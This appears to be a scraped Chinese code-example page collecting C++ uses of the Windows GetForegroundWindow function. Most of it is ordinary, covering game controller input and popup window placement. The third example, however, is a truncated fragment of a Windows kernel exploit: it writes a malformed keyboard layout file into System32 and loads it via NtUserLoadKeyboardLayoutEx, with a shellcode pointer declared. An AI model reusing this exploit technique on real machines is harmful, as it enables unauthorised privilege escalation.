这篇教程C++ GetForegroundWindow函数代码示例写得很实用,希望能帮到您。
本文整理汇总了C++中GetForegroundWindow函数的典型用法代码示例。如果您正苦于以下问题:C++ GetForegroundWindow函数的具体用法?C++ GetForegroundWindow怎么用?C++ GetForegroundWindow使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。 在下文中一共展示了GetForegroundWindow函数的29个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的C++代码示例。 示例1: parameters void WindowsXbox360ControllerDevice::update( const unsigned long id ) { Core::Message parameters(5,0,0); HWND foreground = GetForegroundWindow(); if ( this->_window_handle == foreground ) { parameters.add_integral_data(0,id); parameters.add_integral_data(2,this->_id); memcpy(&this->_previous_state,&this->_current_state,sizeof(XINPUT_STATE)); if ( XInputGetState(static_cast<DWORD>(this->_id),&this->_current_state) == ERROR_SUCCESS ) { parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbLX)); parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbLY)); trigger_event(Core::XBOX360_CONTROLLER_LEFTSTICK_POSITION,parameters); parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbRX)); parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(this->_current_state.Gamepad.sThumbRY)); trigger_event(Core::XBOX360_CONTROLLER_RIGHTSTICK_POSITION,parameters); if ( this->_previous_state.dwPacketNumber != this->_current_state.dwPacketNumber ) { int difference_left_x = this->_current_state.Gamepad.sThumbLX - this->_previous_state.Gamepad.sThumbLX; int difference_left_y = this->_current_state.Gamepad.sThumbLY - this->_previous_state.Gamepad.sThumbLY; int difference_right_x = this->_current_state.Gamepad.sThumbRX - this->_previous_state.Gamepad.sThumbRX; int difference_right_y = this->_current_state.Gamepad.sThumbRY - this->_previous_state.Gamepad.sThumbRY; if ( abs(difference_left_x) > this->_deadzone || abs(difference_left_y) > this->_deadzone ) { parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_left_x)); parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_left_y)); trigger_event(Core::XBOX360_CONTROLLER_LEFTSTICK_POSITION_CHANGED,parameters); } if ( abs(difference_right_x) > this->_deadzone || abs(difference_right_y) > this->_deadzone ) { parameters.add_integral_data(3,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_right_x)); parameters.add_integral_data(4,static_cast<Core::MESSAGE_INTEGRAL_DATA_TYPE>(difference_right_y)); trigger_event(Core::XBOX360_CONTROLLER_RIGHTSTICK_POSITION_CHANGED,parameters); } int up = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_UP) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_UP); int down = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_DOWN) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_DOWN); int left = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_LEFT) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_LEFT); int right = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_RIGHT) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_DPAD_RIGHT); int start = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_START) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_START); int back = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_BACK) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_BACK); int left_thumb = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_THUMB) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_THUMB); int right_thumb = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_THUMB) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_THUMB); int left_shoulder = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_SHOULDER) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_LEFT_SHOULDER); int right_shoulder = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_SHOULDER) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_RIGHT_SHOULDER); int a = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_A) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_A); int b = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_B) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_B); int x = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_X) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_X); int y = (this->_current_state.Gamepad.wButtons & XINPUT_GAMEPAD_Y) - (this->_previous_state.Gamepad.wButtons & XINPUT_GAMEPAD_Y); int left_trigger = this->_current_state.Gamepad.bLeftTrigger - this->_previous_state.Gamepad.bLeftTrigger; int right_trigger = this->_current_state.Gamepad.bRightTrigger - this->_previous_state.Gamepad.bRightTrigger; parameters.add_integral_data(3,0); parameters.add_integral_data(4,0); if ( up < 0 ) trigger_event(Core::XBOX360_CONTROLLER_DPAD_UP_UP,parameters); else if ( up > 0 ) trigger_event(Core::XBOX360_CONTROLLER_DPAD_UP_DOWN,parameters); if ( down < 0 ) trigger_event(Core::XBOX360_CONTROLLER_DPAD_DOWN_UP,parameters); else if ( down > 0 ) trigger_event(Core::XBOX360_CONTROLLER_DPAD_DOWN_DOWN,parameters); if ( left < 0 ) trigger_event(Core::XBOX360_CONTROLLER_DPAD_LEFT_UP,parameters); else if ( left > 0 ) trigger_event(Core::XBOX360_CONTROLLER_DPAD_LEFT_DOWN,parameters); if ( right < 0 ) trigger_event(Core::XBOX360_CONTROLLER_DPAD_RIGHT_UP,parameters); else if ( right > 0 ) trigger_event(Core::XBOX360_CONTROLLER_DPAD_RIGHT_DOWN,parameters); if ( start < 0 ) trigger_event(Core::XBOX360_CONTROLLER_START_UP,parameters); else if ( start > 0 ) trigger_event(Core::XBOX360_CONTROLLER_START_DOWN,parameters); if ( back < 0 ) trigger_event(Core::XBOX360_CONTROLLER_BACK_UP,parameters); else if ( back > 0 ) trigger_event(Core::XBOX360_CONTROLLER_BACK_DOWN,parameters); if ( left_thumb < 0 )//.........这里部分代码省略.........
开发者ID:TEXStudio,项目名称:texengine,代码行数:101,
示例2: UpdatePopupPositionbool UpdatePopupPosition(PopupWnd2 *prev, PopupWnd2 *wnd){ if (!wnd) return false; if (!PopupOptions.ReorderPopups && wnd->isPositioned()) return false; int POPUP_SPACING = PopupOptions.spacing; POINT pos = { 0 }; SIZE prevSize = { 0 }; if (prev) prevSize = prev->getSize(); // we have only one monitor (cant check it together with 1.if) RECT rc; if (GetSystemMetrics(SM_CMONITORS) == 1) SystemParametersInfo(SPI_GETWORKAREA, 0, &rc, 0); else { // Multimonitor stuff (we have more then 1) HWND hWnd; if (PopupOptions.Monitor == MN_MIRANDA) hWnd = pcli->hwndContactList; else // PopupOptions.Monitor == MN_ACTIVE hWnd = GetForegroundWindow(); HMONITOR hMonitor = MonitorFromWindow(hWnd, MONITOR_DEFAULTTOPRIMARY); MONITORINFOEX mnti; mnti.cbSize = sizeof(MONITORINFOEX); if (GetMonitorInfo(hMonitor, &mnti) == TRUE) memcpy(&rc, &(mnti.rcWork), sizeof(RECT)); else SystemParametersInfo(SPI_GETWORKAREA, 0, &rc, 0); } rc.left += PopupOptions.gapLeft - POPUP_SPACING; rc.right -= PopupOptions.gapRight - POPUP_SPACING; rc.top += PopupOptions.gapTop - POPUP_SPACING; rc.bottom -= PopupOptions.gapBottom - POPUP_SPACING; if (PopupOptions.Spreading == SPREADING_VERTICAL) { switch (PopupOptions.Position) { case POS_UPPERLEFT: pos.x = rc.left + POPUP_SPACING; pos.y = (prev ? (prev->getPosition().y + prev->getSize().cy) : rc.top) + POPUP_SPACING; break; case POS_LOWERLEFT: pos.x = rc.left + POPUP_SPACING; pos.y = (prev ? prev->getPosition().y : rc.bottom) - wnd->getSize().cy - POPUP_SPACING; break; case POS_LOWERRIGHT: pos.x = rc.right - wnd->getSize().cx - POPUP_SPACING; pos.y = (prev ? prev->getPosition().y : rc.bottom) - wnd->getSize().cy - POPUP_SPACING; break; case POS_UPPERRIGHT: pos.x = rc.right - wnd->getSize().cx - POPUP_SPACING; pos.y = (prev ? (prev->getPosition().y + prev->getSize().cy) : rc.top) + POPUP_SPACING; break; } } else { switch (PopupOptions.Position) { case POS_UPPERLEFT: pos.x = (prev ? (prev->getPosition().x + prev->getSize().cx) : rc.left) + POPUP_SPACING; pos.y = rc.top + POPUP_SPACING; break; case POS_LOWERLEFT: pos.x = (prev ? (prev->getPosition().x + prev->getSize().cx) : rc.left) + POPUP_SPACING; pos.y = rc.bottom - wnd->getSize().cy - POPUP_SPACING; break; case POS_LOWERRIGHT: pos.x = (prev ? prev->getPosition().x : rc.right) - wnd->getSize().cx - POPUP_SPACING; pos.y = rc.bottom - wnd->getSize().cy - POPUP_SPACING; break; case POS_UPPERRIGHT: pos.x = (prev ? prev->getPosition().x : rc.right) - wnd->getSize().cx - POPUP_SPACING; pos.y = rc.top + POPUP_SPACING; break; } } wnd->setPosition(pos); return true;}
开发者ID:kmdtukl,项目名称:miranda-ng,代码行数:80,
示例3: boom_loadlayoutVOID boom_loadlayout(){ KEYBDINPUT kb={0}; INPUT vInput={0}; HANDLE hFile; DWORD dwFuckS0ny; HKL hKbd; WCHAR lpPath[MAX_PATH]={0}; WCHAR lpLayoutFile[MAX_PATH]={L"C://Windows//System32//lSp0wns.boom111"}; LPVOID lpShellPtr; //strcpy( lpLayoutFile, L"%lSp0wns.boom111", lpPath); hFile = CreateFileW(lpLayoutFile, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE, 0, CREATE_ALWAYS, 0,0); if( hFile == INVALID_HANDLE_VALUE ) { printf(" /n[!!] Error:errorcode:%x/n",GetLastError()); exit(0); } WriteFile( hFile, fakeDll2, sizeof(fakeDll2)-1, &dwFuckS0ny, NULL); //printf("/n[+] Writing malformed kbd layout file /n/t/"%S/"/n/t[ %d ] bytes written/n",lpLayoutFile,dwFuckS0ny); CloseHandle(hFile); hFile = CreateFileW (lpLayoutFile, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0,0); if( hFile == INVALID_HANDLE_VALUE ) { printf(" /n[!!] Error/n"); exit(0); } hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) ); printf("/n[+] Loading it...[ 0x%x ]/n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101 /*HKL NTAPI NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle, IN DWORD offTable, IN PUNICODE_STRING puszKeyboardName, IN HKL hKL, IN PUNICODE_STRING puszKLID, IN DWORD dwKLID, IN UINT Flags ) */ //win7 C++ GetForgeMasterType函数代码示例 C++ GetFontSize函数代码示例
|